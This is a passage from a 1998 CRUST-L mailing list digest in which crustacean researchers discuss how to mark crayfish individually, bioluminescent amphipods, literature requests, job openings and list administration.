rather a sedentary species (usually) and does not migrate. * It is very sensitive to oil-spills and other anthropogenic modificatons of the place where it lives. I studied Processa edulis for many years in Roscoff (Atlantic : sea with tides; lower-mediolittoral populations) till Amocco-Cadiz oil pollution and then in Banyuls (Mediterranean : infralittoral populations). In order to answer your question could you give more information/details ? * How was the abundance estimated (day? night? digging? hand-net? traps?) * Is the population associated with Zostera belt? algae? sand-grounds? * Intertidal zone? infralittoral? * Could a stratification freshwater/seawater have occured? Best regards. Pierre. Pierre Y. Noel, Biologie des Invertebres marins, CNRS URA no699, Museum national d'Histoire naturelle, 55 rue Buffon, F-75005 Paris, France. e mail pnoel@mnhn.fr Tel +33 1 4079 3098 Fax +33 1 4079 3089 Visitez le serveur du Museum/Visit our Webserver (http://www.mnhn.fr) ------------------------------ Date: Mon, 19 Oct 1998 07:25:44 -0700 From: dcadien@lacsd.org (Don Cadien) Subject: Re: Bioluminescent Gammarids Philip Oshel wrote: > > Did you examine any under a microscope-maybe SEM-for ectocommensual > dinoflagellates? No, We were there for another purpose, and the observations were more or less in passing. In future, should I see them again I will attempt some more complete examination of the caprellids. By the time we were finished with our other live animal tasks the caprellids we brought back were both no longer alive and no longer luminescing. Cheers, Don Cadien Donald B. Cadien Marine Biology Lab - JWPCP 24501 S. Figueroa St., Carson, Ca, 90745 Tel: 310-830-2400x403 Fax: 310-952-1065 ------------------------------ Date: Mon, 19 Oct 1998 10:33:10 -0500 From: ""Robert (Bob) Distefano"" Subject: Re: How to individually mark crustaceans -Reply This is a MIME message. If you are reading this text, you may want to consider changing to a mail reader or gateway that understands how to properly handle MIME multipart messages. - --=_C691D6E9.E180ED41 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline I have also used typewriter correction fluid successfully to mark = crayfish, and even in the field it lasted for several weeks. - --=_C691D6E9.E180ED41 Content-Type: message/rfc822 Received: from back.vims.edu ([139.70.2.111]) by mail.conservation.state.mo.us; Sun, 18 Oct 1998 10:04:54 -0500 Received: (from majord@localhost) by back.vims.edu (8.9.1/8.8.7) id IAA05434 for crust-l-outgoing; Sun, 18 Oct 1998 08:26:32 -0400 (EDT) X-Authentication-Warning: back.vims.edu: majord set sender to owner-crust-l@back.vims.edu using -f Received: from zoo.utoronto.ca (root@zoo.utoronto.ca [128.100.72.1]) by back.vims.edu (8.9.1/8.8.7) with ESMTP id IAA05430 for ; Sun, 18 Oct 1998 08:26:30 -0400 (EDT) Received: from 95.utoronto.ca (inception.dialin.utoronto.ca [142.150.129.4]) by zoo.utoronto.ca (8.8.5/8.7.3) with ESMTP id IAA23230; Sun, 18 Oct 1998 08:26:29 -0400 (EDT) Message-Id: <199810181226.IAA23230@zoo.utoronto.ca> From: ""David Dunham"" To: , ""Deborah Rudnick"" Subject: Re: How to individually mark crustaceans Date: Sun, 18 Oct 1998 08:19:25 -0400 X-MSMail-Priority: Normal X-Priority: 3 X-Mailer: Microsoft Internet Mail 4.70.1155 Sender: owner-crust-l@back.vims.edu Precedence: bulk Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: quoted-printable Content-Disposition: inline Debbie - We have had good success in marking crayfish on the dorsal surface of the cephalothorax with white SnoPake, and other typewriter correction = fluids.=20 It is important to dry the spot to be marked before application, and to allow the fluid to dry before puting the cray back in its tank. Just blowing on it enthusiastically is sufficient. The marks do eventually = wear off and need to be replaced, but we find that they last for weeks, unless the animals are scraping their backs against rocks when using a tight = space as a shelter. They do not seem to groom the material off, so one imagines that it is not an irritant. ______________________________________ dunham@zoo.utoronto.ca Prof. David W. Dunham, Associate Chair Graduate Department of Zoology University of Toronto 25 Harbord Street Toronto, Ontario, Canada M5S 3G5 Fax 416-978-8532 Tel 416-978-3496 www.zoo.utoronto.ca ______________________________________ Communication & Sensory Ecology ______________________________________ - ---------- > From: Deborah Rudnick > To: crust-l@vims.edu > Subject: How to individually mark crustaceans > Date: Sunday, October 18, 1998 4:34 AM >=20 > Greetings, crusters- >=20 > I am in need of individually marking some crayfish for a behavioral study. > The literature suggested using liquid paper to mark individual animals. = I > attempted this and did not have much luck. Would anyone have alternate > suggestions or be able to speak to the effectiveness of this approach- > perhaps I am simply going about it the wrong way? >=20 > My thanks! >=20 > -Debbie=20 > _________________ > ESPM > Division of Insect Biology > University of California > Berkeley, CA 94720 > drudnick@nature.berkeley.edu >=20 =20 - --=_C691D6E9.E180ED41-- ------------------------------ Date: Mon, 19 Oct 1998 18:02:41 +0200 From: Dieter Walossek Subject: freshwater shrimps Hello, does anyone know of a book about freshwater shrimps. A student here at our university grows some in aquaria and wishes to determine the forms sold by aquarium shops. Any suggestion is welcome, DIETER University professor and head of the Section for Biosystematic Documentation University of Ulm, Helmholtzstrasse 20, 89081 Ulm, Germany phone 0731-50-31000/31001, Fax 31009 e-mail: dieter.walossek@biologie.uni-ulm.de - http://www.biologie.uni-ulm.de/biosysdoc/ Homepage of the >Gesellschaft fuer Biologische Systematik<: http://www.biologie.uni-ulm.de/biosysdoc/gesfbsys.htm ------------------------------ Date: Mon, 19 Oct 1998 12:09:56 -0400 From: ""Sally Otto"" Subject: How to individually mark crustaceans -Reply Dear Deborah, We mark oysters and clams at our facility. The best thing we have = come across is using labels made from plastic and indelible ink. Dry the = spot to be marked as well as possible. Rub the area with alcohol to = further dry it. Place a dot of marine epoxy glue on the spot and stick = the tag into the dot of glue. Let glue dry and return animal to tank. We = also label some animals with indelible marker directly applied to the = dried spot on the shell. We used to use nail polish (I believe it was = ""Cute Tomato"" shade) but that was a mess to do. Another, temporary method is using a ""pony-tail"" elastic band = (fabric-covered rubber band), attaching a label to that and ""banding"" the = animal. Good luck. - -Sally Otto Cooperative Oxford Laboratory Maryland Dept. Natural Resources 904 S. Morris Street OXFORD MARYLAND USA 'Phone:(410) 226-5193 Fax: (410)226-5295 e-mail: sotto@remote.dnr.state.md.us >>> Deborah Rudnick 10/18/98 04:34am >>> Greetings, crusters- I am in need of individually marking some crayfish for a behavioral study. The literature suggested using liquid paper to mark individual animals. I attempted this and did not have much luck. Would anyone have alternate suggestions or be able to speak to the effectiveness of this approach- perhaps I am simply going about it the wrong way? My thanks! - -Debbie=20 _________________ ESPM Division of Insect Biology University of California Berkeley, CA 94720 drudnick@nature.berkeley.edu ------------------------------ Date: Mon, 19 Oct 1998 23:15:00 +1000 From: patf@cloud.net.au (Peter Farrell) Subject: Marking Crayfish Dr> study. The literature suggested using liquid paper to mark individual Dr> animals. I attempted this and did not have much luck. Would anyone have Dr> alternate suggestions or be able to speak to the effectiveness of this Dr> approach- perhaps I am simply going about it the wrong way? Hi Debbie, I have used liquid paper to mark yabbies (Cherax destructor). When doing so I found it useful to: . gently scour the carapace with a pad designed for pots and pans, . use a liquid paper pen rather than a brush, and . allow to dry before returning animal to the water. Subsequent success of application really depends on what is going to happen to them. For example the mark won't last long in a depuration tray, they rub their carapace against the inside of the lid. However I have pulled non-moulting crayfish out of ponds and aquariums upto three weeks after marking. As for alternative suggestions: . Mutilation of the telson and/or uropods with scissors is pretty effective. but it does leave a scar after moulting. It may be hard to see the mark under your experimental conditions. . I have read stuff (by Abrahamsson, I think) where crayfish were branded with a soldering iron but I have not done this myself. Hope this helps, Peter Farrell Aquaculture Research Unit Department of Applied Biology and Biotechnology RMIT University GPO Box 2476V Melbourne, Victoria Australia, 3001 Fax 61 (03) 9662 3421 Ph 61 (03) 9660 2475 Working at:- Shepparton Native Fish Hatchery Ph/Fax (03) 5827 1452 ------------------------------ Date: Mon, 19 Oct 1998 14:53:59 -0400 From: ""Dave O'Neill"" Subject: How to individually mark crustaceans -Reply Deborah: I found that whiteout can work, but sometimes does not adhere well and may wear off. My best solution is to use a small drop of a SuperGlue (cyanoacrylate) on the carapace, then mark with nail polish or a paint pen (from an art supply house). Both allow many possible colors and placement of dots to identify # of molts or individuals. Solvent based markers like nail polish (toluene?) can kill the epidermis in recently molted individuals. Cyanoacrylate is used in surgical glues. I've also used cyanoacrylate glue to glue their claws shut. Do be careful of sticking your own appendages together. O'Neill, D. J., Handwerker, T. S. and S. Rebach. 1995. Location of molting and distribution of postmolt crayfish (Procambarus clarkii) in high density culture. Freshwater Crayfish 8:635-647. Cheers. Dave O'Neill ------------------------------ Date: Mon, 19 Oct 1998 17:09:48 -0400 From: Jeffrey Shields Subject: List update CRUSTers, Couple of things: (1) We upgraded our computers recently and during the process the digest mailer was misplaced. There have been no DIGEST mailings for the last 2 weeks because of this error. That also means that there was no archive for that time. My apologies, especially as we've had some excellent discussion of late. I was in Newfoundland looking at snow crabs over part of the time, hence didn't pick up the error until this week. There may be a few more bugs.... (2) I've had many mail bounces. Sorry, but I delete mail addresses that bounce more than 5 times. If you don't receive CRUST-L mail every day or every other day, then you may want to resubscribe. If you send a message and get a strange message from a foreign mail server, just delete it and wait for your message to appear on CRUST-L. If it doesn't appear, then resend it. (3) If you are subscribed to CRUST-L and find that I'm forwarding your message to the list, that's an indication that your subscription address has changed. This occurs at your institution when servers are changed. The change isn't always transparent (the mungedomain switch doesn't always operate correctly). Just unsubscribe and resubscribe. If the problem persists, contact me. As of Friday, October 16, there were 700 subscribers to the CRUST-L list, with about 30-40 more in DIGEST mode. Happy Crustaceology! Cheers, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() ------------------------------ Date: Mon, 19 Oct 1998 17:56:04 -0500 From: Shiao Wang Subject: Tags Someone asked about tagging crustaceans. I don't recall whether anyone mentioned bee or shellfish tags but they work nicely. They are small oval plastic tags (approximately 2 x 5 mm^2) individually numbered available from Floy Tag (800-843-1172 for samples). They can be glued on the carapace using Superglue or something similar. - -- Shiao Y. Wang Department of Biological Sciences University of Southern Mississippi ------------------------------ Date: Tue, 20 Oct 1998 10:48:32 -0600 From: ""Biol. Mauricio Orellana Buenrostro"" Subject: Artemia job opening To those interested: We are looking in to an opportunity to open and start managing a new = Artemia production farm in southeast Mexico. We are interested in hiring managerial personnel interested in taking = this challenge. For those interested please send your CV ASAP. Experience in the field required. Please reply to Mauricio Orellana Buenrostro pampano@yucatan.com.mx Pecis Consultor=EDa Calle 47 # 266 x 36 y 38 Col. Benito Juarez Nte M=E9rida, Yucat=E1n, M=E9xico Tel. (99)449645/46 Fax. (99)449349 ------------------------------ Date: Tue, 20 Oct 1998 14:27:18 +0100 From: Chuck Holliday Subject: Re: position in molecular biology Crustie Colleagues: Lafayette College's Dept. of Biology has an opening for a tenure-track assistant professorship in molecular biology, available in August 1999. If you know of a colleague who would be interested in this position, please call his/her attention to our departmental www page at: http://www.lafayette.edu/biology/biohome.html The application deadline is December 18, 1998. Thanks in advance for your help. Cheers =:^) ************************************************* Prof. Chuck Holliday e-mail: hollidac@lafayette.edu Department of Biology phone: 610.330.5461 Lafayette College FAX: 610.330.5705 Easton, PA 18042-1778 U.S.A. Web page: http://www.lafayette.edu/~hollidac/CWHpage.html ------------------------------ Date: Wed, 21 Oct 1998 12:45:37 -0500 From: ""=?ISO-8859-1?Q?Ayax_Rolando_D=EDaz_Ru=EDz?="" Subject: Growth parameters for Xanthidae Dear crusters, I'm looking for information about growth parameters for the Von Bertalanffy growth function determintated for xanthid crabs in order to make comparisons with four species of Trapeziidae. I'd really thank if anyone could help me. Cheers! Ayax. - ---------------------- Ayax Rolando D�az Ruiz Departamento de Biolog�a Marina Universidad Aut�noma de Baja California Sur Km 5.5 Carretera al Sur. A.P. 19 - B. C.P. 23080 La Paz, Baja California Sur, M�xico. Tel./fax: (+52-112)3-45-66 ------------------------------ Date: Wed, 21 Oct 1998 23:15:58 +0000 From: ""jerome davis"" Subject: Re: Copepoda Cyclopidae and dissecting microneedles I dont know if this will be fine enough, but I have found acupuncture needles very handy for manipulating small fish larvae in the past. Hop this helps, Jerome > Sounds like you're thinking of minuten needles. Very handy for > micro-dissection. Try vendors of entomology supplies or surgical > instruments for micro-surgery. In the US and Canada, this would be for > example, Fine Science Tools (I've lost their contact information). In South > America, I don't know, sorry. > > Phil > > > >- I am trying to identify a brackish water Copepoda (family Cyclopidae). > >Can anyone recommend a good identification key for it?. > > > >- When dissecting larvae I have prefered some kind of microneedles, but > >they have been damaged. Somebody tell me that such microneedles are used > >by Entomologist for fixation of specimens to cork plates. The length of > >each microneedle is 1 cm, one of its tip is sharpened. Can anyone tell me > >where can I buy these microneedles?. > > > >Thanks in advance > > > >========================= > >Gonzalo Hernandez G. > >Universidad de Oriente > >Nucleo Nueva Esparta > >Apdo. postal 147 - Porlamar > >Isla de Margarita - Venezuela > >E-mail: gonzalo@enlared.net > >========================= > > > > > > > > > > > > > > > > > > > >Dear > >Crust-l´ers: > > >face=""Times New Roman"" size=2>  > >- I am trying to identify a brackish > >water Copepoda (family Cyclopidae). Can anyone recommend a good identification > >key for it?. > >  > >- When  dissecting larvae I have > >prefered  some kind of microneedles, but they have been damaged.  > >Somebody tell me that such microneedles are used by Entomologist for > >fixation of > >specimens to cork plates. The length of each microneedle is 1 cm, one of  > >its tip is sharpened. Can anyone tell me where can I buy these > >microneedles?. > >  > >Thanks in advance > >  > > >size=2>=========================Gonzalo Hernandez G.Universidad de > >OrienteNucleo Nueva EspartaApdo. postal 147 - PorlamarIsla de > >Margarita - VenezuelaE-mail: >href=""mailto:gonzalo@enlared.net"">gonzalo@enlared.net============== > >=========== > > }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ > Philip Oshel > PO Box 620068 > Middleton, WI 53562 > oshel@terracom.net > or poshel@hotmail.com > > > > ********************************************************************* Jerome Davis Address: Rhodes University Department of Ichthyology & Fisheries Science c/o Mtunzini Prawn Farm Box 272 Gingindlovu, 3800 Kwazulu-Natal South Africa Tel: +27-353-402494(OH) Fax: +27-353-402495 E-mail: jeromed@iafrica.com ************************************************************************************************************************************************************************************************************* ------------------------------ End of crust-l-digest V1 #5 *************************** crust-l-digest Monday, November 2 1998 Volume 01 : Number 006 ---------------------------------------------------------------------- Date: Thu, 22 Oct 1998 01:07:39 -0700 From: Deborah Rudnick Subject: marking crayfish- thanks! Wow, I could write a book with all the fabulous information I received on tagging crayfish! It looks like I will start low-tech with nail polish and see how I fare, but I may graduate to some of the more involved methods suggested. I assume someone has written this type of thing up, but if not it would be a great project for me to assemble all these suggestions (in my spare time if I can find any of that) my thanks again- - -Debbie - ----------------- ESPM 201 Wellman Hall Division of Insect Biology University of California Berkeley, CA 94720 drudnick@nature.berkeley.edu ------------------------------ Date: 22 Oct 1998 09:37:12 +0100 From: ""Volker Koch"" Subject: Eurytium-lifespan? Nachricht von Eurytium-lifespan? Dear crustlers, I=B4ve read the request by Ayax Rolando Diaz Ruiz and I=B4ve got = something similar. I am working with Eurytium limosum in north Brazilian = mangroves. Unfortunately I didn=B4t get enough animals of this species to = calculate growth rates and estimate life span of this species. If anybody = has information on this topic, please let me know! Thanks in advance Cheers Volker ------------------------------ Date: Thu, 22 Oct 1998 10:36:58 +0100 From: ""Wim Vader"" Subject: RFI Chinese amphipod paper Dear Crusters, During the Amsterdam conference last summer, I glimpsed a major paper on Indonesian amphipods, written in a Chinese journal, mostly in Chinese. When I wanted to copy the reference the next day, the exhibit had gone. (A good lesson: don't wait until tomorrow!) Can anybody help me out with the reference to this paper, or still more wonderful, a copy? I need it for the bibliography in the soon to be revived Amphipod Newsletter. Many thanks in advance, Wim Vader, Troms=F8 Museum 9037 Troms=F8, Norway wim@imv.uit.no ------------------------------ Date: Thu, 22 Oct 1998 10:46:06 +0100 From: ""Wim Vader"" Subject: bioluminescent amphipods A further recent reference to biolumonescent talitrids is the following: John I. Spicer, 1994. The occurrence of luminescence in a sandhopper, Talorchestia deshayesii from the Solway coast, Scotland. ---- The Transactions of the Dumfriesshire and Galloway Natural History and Antiquarian Society 69, 1-2. I can furnish a copy; the journal may not be in every local library worldwide. Wim Vader, Troms=F8 Museum 9037 Troms=F8, Norway wim@imv.uit.no ------------------------------ Date: Thu, 22 Oct 1998 09:16:53 -0400 From: Herv�LUCIEN-BRUN Subject: P.longistylus Hi lister, I am looking for a determination kea and picture or photo of Penaeus longistylus. I would appreciate very much if some one could send me information about this. Thank you, Herve LUCIEN-BRUN hervelucienbrun@compuserve.com ------------------------------ Date: Thu, 22 Oct 1998 09:36:55 EST From: ""Zen Faulkes"" Subject: Marking animals; ""dancing"" Hello, Deborah Rudnick asked how to individually mark crustaceans, which prompted many good answers. Other tricks I've used include women's nail polish, which seems okay for the short term, but tends to wear off. What I did was to take pieces of water-proof paper, write numbers on them in permanent ink, then Crazy Glue them onto the carapace. Works well until the animals molt. From: ""Gary L. Davenport"" Subject: Various Crayfish Species' ""Dances"" > I wwas wondering f anyone on the list could explain why freshwater > crayfish ""dance"". From Gary's description, this behaviour sounds suspiciously like ""waving,"" which has been observed in all sorts of reptantian decapods, and not just crayfish. The only paper I know of analysing this behaviour is this one. Unfortunately, it doesn't offer a definitive functional explanation for the behaviour. Pasztor, V.M. & Clarac, F. 1983. An analysis of waving behaviour: an alternative motor programme for the thoracic appendages of decapod crustacea. The Journal of Experimental Biology 102: 59-77. Zen Faulkes http://www.mcgill.ca/Biology/perspage/zfaulkes.htm ------------------------------ Date: Thu, 22 Oct 1998 14:45:32 PDT From: Geoff Wainwright Subject: Crustacean Larvae Dear Users, I am about to begin rearing larval crabs (Cancer pagurus) for a project which ultimately will look at the expression of some genes through larval development. As a sefty net if you will, I was wondering whether anybody out there is rearing Cancer pagurus (or a Cancer spp. for comparative work) and wouldn't mind sparing some samples of different staged larvae. The analyses I will use will be molecular based and so I don't need that much material. If you can help we can talk about any further details. Thanks in advance for all replies. Geoff ------------------------------ Date: Fri, 23 Oct 1998 07:46:07 -0400 From: Paul Haefner Subject: Snodgrass & Pyle/Cronin This is a multi-part message in MIME format. - --Boundary_(ID_dXPXnrQr+3TEqiWPaPmArQ) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7BIT Found a couple of originals of Pyle & Cronin's Anat of blue crab, and one orig copy of Snodgrass' Comparative studies of jaws of mandibulate arthropods. Willing to part with them (for a fee). If interested, send me direct email. - --Boundary_(ID_dXPXnrQr+3TEqiWPaPmArQ) Content-type: text/x-vcard; name=vcard.vcf; charset=us-ascii Content-description: Card for Paul Haefner Content-disposition: attachment; filename=vcard.vcf Content-transfer-encoding: 7BIT begin: vcard fn: Paul Haefner n: Haefner;Paul org: RIT adr: Dept of Biological Sciences;;85 Lomb Memorial Dr;Rochester;NY;14623;USA email;internet: pahsbi@rit.edu title: Prof of Biological Sciences tel;work: (716) 475-5143 tel;fax: (716) 475-5766 x-mozilla-cpt: ;0 x-mozilla-html: FALSE version: 2.1 end: vcard - --Boundary_(ID_dXPXnrQr+3TEqiWPaPmArQ)-- ------------------------------ Date: Fri, 23 Oct 1998 12:38:22 -0400 From: Jeffrey Shields Subject: CRUST-L: test, delete THIS IS ONLY A TEST. jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 23 Oct 1998 18:42:59 GMT+2 From: ""Ulrich Hopp"" Subject: CRUST-L: parthenogenesis in crayfish Dear crusters! Does anybody know something about parthenogenesis in freshwater crayfish? Thanks, Uli. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 23 Oct 1998 12:53:34 -0400 From: Emmett Duffy Subject: CRUST-L: test message Testing 123 (sorry for the intrusion. We're testing bugs in the crust-l system). _________________________________________________________________________ J. Emmett Duffy phone: 804-684-7369 School of Marine Science & VIMS FAX: 804-684-7293 The College of William and Mary Internet: jeduffy@vims.edu Gloucester Point, VA 23062-1346 http://www.vims.edu/bio/mobee FedEx address: VIMS, Rte 1208, Greate Rd, Gloucester Point, VA 23062 _________________________________________________________________________ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 23 Oct 1998 12:35:18 -0500 From: oshel@terracom.net (Philip Oshel) Subject: CRUST-L: exotic pests on coral reefs Crusters, People have occassionally posted about the problems of introducing foreign species, but these problems have typically concerned freshwater or terrestrial species. Are there any reports of the introduction of foreign coral reef crustaceans spreading havoc amongst the native species of a coral reef? Say Great Barrier Reef species finding their way to the Caribbean, and the consequences? Any possiblity that the die-offs of corals in the Caribbean are caused by pathogens introduced by such introductions? Phil }}}}}}}}}}}}}}}}}}}}}}}}}}{{{{{{{{{{{{{{{{{{{{{{{{{{ Philip Oshel PO Box 620068 Middleton, WI 53562 oshel@terracom.net =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 23 Oct 1998 21:13:59 +0000 From: Eric Eldred Subject: CRUST-L: 'The Crayfish' 'The Crayfish' by T. H. Huxley is looking for a new hole on the World Wide Web. This classic book has been made into hypertext now at http://eldred.ne.mediaone.net/thh/crayfish.htm But I plan to close my web site (because of the chilling effect of new U.S. laws regarding copyright and the Internet). Thus if someone else does not adopt the e-book and distribute it freely to others from another web site, it will disappear Nov. 11. There are no copyright problems with this book--it is in the public domain. You do not need to be expert in HTML; you are free to edit it and add new material if you like, and serve as a resource for reader questions as you like. The book is intended as an introduction to general zoology and was believe it or not given as a course of lectures to a workingman's society. It was translated into several languages and if these were also put online might indeed help in our global mutual understanding and inspire students everywhere with the beauty of zoology. If you download the compressed file at http://eldred.ne.mediaone.net/thh/thh.zip and decide to post it, I would appreciate a notice so I can help change links for readers. Thank you, crusties, for caring about your work! - -- ""Eric"" Eric Eldred Eldritch Press mailto:EricEldred@usa.net http://eldred.ne.mediaone.net/ =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Fri, 23 Oct 1998 22:43:40 -0700 (PDT) From: Alfred Low Subject: CRUST-L: Taxonomic Keys & Copyright Dear Colleagues I was wondering if it was possible to put taxonomic keys from publications on to a HTML page. I would like to do this to provide a resource to WWW-users but was wondering if this would contravene copyright laws. Nevertheless, I am interested to collect photoes of Penaeid prawns to be put on the WWW as a resource. It would be appreciated if you could send such photoes to me. Best Regards, Alfred Low. == Masters Student Institute of Postgraduate Studies and Research University of Malaya 50603 Kuala Lumpur Tel: +603 759-4609 Fax: +603 759-4606 Email: alflow@yahoo.com Homepage: http://www.geocities.com/CollegePark/Quad/4386 _________________________________________________________ DO YOU YAHOO!? Get your free @yahoo.com address at http://mail.yahoo.com =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Sat, 24 Oct 1998 11:40:11 -0400 From: ""Rhea Tannenbaum"" Subject: CRUST-L: Re: Universal Symbols/Icons in Biology Hi all, I'm in the process of collecting ""universal symbols"" (sorry, don't know if this is the correct term) for zoo and bot collections. For example, I've found a book which includes a few, even to the point of differentiating monocots and dicots. However, I'm hoping to add to my collection and would appreciate any references to on-line sources which could be down-loaded. I'd like especially to find symbols for the phyla and classes. Apologies to all if this is too off-topic. Muchos, Rhea Tannenbaum RheaT1@prodigy.net http://pages.prodigy.net/rheat1/natur001.htm A unique signage system for living animal exhibits in nature centers, zoos and aquariums. Modular, water-resistant, scratch-resistant, easy to mount and remove. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Mon, 26 Oct 1998 11:56:14 -0500 From: Jeffrey Shields Subject: CRUST-L: hemocyanin Colleagues, Anyone working with hemocyanin please drop me a line. I have few basic questions that I can't find answers to in the literature. Thanks, Jeff jeff@vims.edu ( ) ( ) Jeffrey Shields (^ ^) (^ ^) Assistant Professor (^) . . (^) Virginia Institute of Marine Science \\\\ 0 | | 0 // Gloucester Point, VA 23062, USA \\\\__\\\\|}{|//__// Tel (804) 684-7128; Fax (804) 684-7186 \\^ ^^ ^/ http://www.vims.edu/~jeff/ <====\\^ ( ) ^/====> <====\\^ ^/====> <====\\ /====> ()===(____)===() =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Tue, 27 Oct 1998 12:19:04 -0600 From: ""Ted Ground"" Subject: CRUST-L: Nitrate & Ecdysis, other physiological effects I am looking for information on toxicity, impairment, or any other physiological effects of elevated nitrate levels on shrimp (any or all peneids.). I consider elevated levels to be far in excess of what one might find in nature, such as those levels encountered in recirculation aquaculture systems, so that might be anywhere between 50 and 500 ppm. I suspect effects on ion transport or exchange, respiratory pigment effects, stress or impairment especially during ecdysis.. Has anyone written or encountered literature or studies on this, preferably with dose-response experimental data? Ted =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= To (un)subscribe to CRUST-L: Send (UN)SUBSCRIBE CRUST-L as the message body to MAJORDOMO@VIMS.EDU. To post to CRUST-L, send messages to CRUST-L@VIMS.EDU Send HELP to MAJORDOMO@VIMS.EDU for additional commands. Archives available at http://www.vims.edu/~jeff/archive.htm =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= ------------------------------ Date: Wed, 28 Oct 1998 15:38:12 +0800 From: Hsiao-Chuan CHANG Subject: CRUST-L: E-mail for Dr. 